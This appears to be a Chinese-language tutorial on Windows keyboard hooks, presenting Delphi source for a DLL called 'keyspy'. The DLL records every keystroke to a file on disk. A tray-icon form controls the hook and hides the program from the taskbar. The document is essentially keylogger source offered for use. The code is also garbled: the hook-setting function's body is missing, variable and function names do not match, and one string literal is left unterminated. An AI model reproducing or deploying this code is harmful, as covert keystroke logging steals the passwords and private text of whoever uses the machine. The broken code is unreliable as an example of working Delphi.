---- Hook是应用程序在Microsoft Windows 消息处理过程中设置的用来监控消息流并且处理系统中尚未到达目的窗口的某一类型消息过程的机制。如果Hook过程在应用程序中实现,若应用程序不是当前窗口时,该Hook就不起作用;如果Hook在DLL中实现,程序在运行中动态调用它,它能实时对系统进行监控。根据需要,我们采用的是在DLL中实现Hook的方式。
library keyspy; uses windows, messages, hookproc in 'hookproc.pas'; exports setkeyhook, endkeyhook; begin nexthookproc:=0; procsaveexit:=exitproc; exitproc:=@keyhookexit; end.
2.在Hookproc.pas中实现了钩子具体过程: unit hookproc; interface uses Windows, Messages, SysUtils, Controls, StdCtrls; var nexthookproc:hhook; procsaveexit:pointer; function keyboardhook(icode:integer;wparam:wparam; lparam:lparam):lresult;stdcall;export; function setkeyhook:bool;export;//加载钩子 function endkeyhook:bool;export;//卸载钩子 procedure keyhookexit;far; const afilename='c:debug.txt';//将键盘输入动作写入文件中 var debugfile:textfile; implementation function keyboardhookhandler(icode:integer;wparam:wparam; lparam:lparam):lresult;stdcall;export; begin if icode<0 then begin result:=callnexthookex(hnexthookproc,icode,wparam,lparam); exit; end; assignfile(debugfile,afilename); append(debugfile); if getkeystate(vk_return)<0 then begin writeln(debugfile,'); write(debugfile,char(wparam)); end else write(debugfile,char(wparam)); closefile(debugfile); result:=0; end; function endkeyhook:bool;export; begin if nexthookproc<>0 then begin unhookwindowshookex(nexthookproc); nexthookproc:=0; messagebeep(0); end; result:=hnexthookproc=0; end; procedure keyhookexit;far; begin if nexthookproc<>0 then endkeyhook; exitproc:=procsaveexit; end; end.
procedure tform1.icontray(var msg:tmessage); var pt:tpoint; begin if msg.lparam=wm_lbuttondown then sethook1click(self); if msg.LParam=wm_rbuttondown then begin getcursorpos(pt); setforegroundwindow(handle); popupmenu1.popup(pt.x,pt.y); end; end;
procedure TForm1.FormCreate(Sender: TObject); begin normalicon:=ticon.create; application.title:=caption; nid.cbsize:=sizeof(nid); nid.wnd:=handle; nid.uid:=icon_id; nid.uflags:=nif_icon or nif_message or nif_tip; nid.ucallbackmessage:=mi_iconevent; nid.hIcon :=normalicon.handle; strcopy(nid.sztip,pchar(caption)); nid.uFlags:=nif_message or nif_icon or nif_tip; shell_notifyicon(nim_add,@nid); SetWindowLong(Application.Handle, GWL_EXSTYLE,WS_EX_TOOLWINDOW); end;
procedure TForm1.sethook1Click(Sender: TObject); begin setkeyhook; end;
procedure TForm1.endhook1Click(Sender: TObject); begin endkeyhook; end;
procedure TForm1.FormDestroy(Sender: TObject); begin nid.uFlags :=0; shell_notifyicon(nim_delete,@nid); end;
procedure TForm1.Close1Click(Sender: TObject); begin application.terminate; end;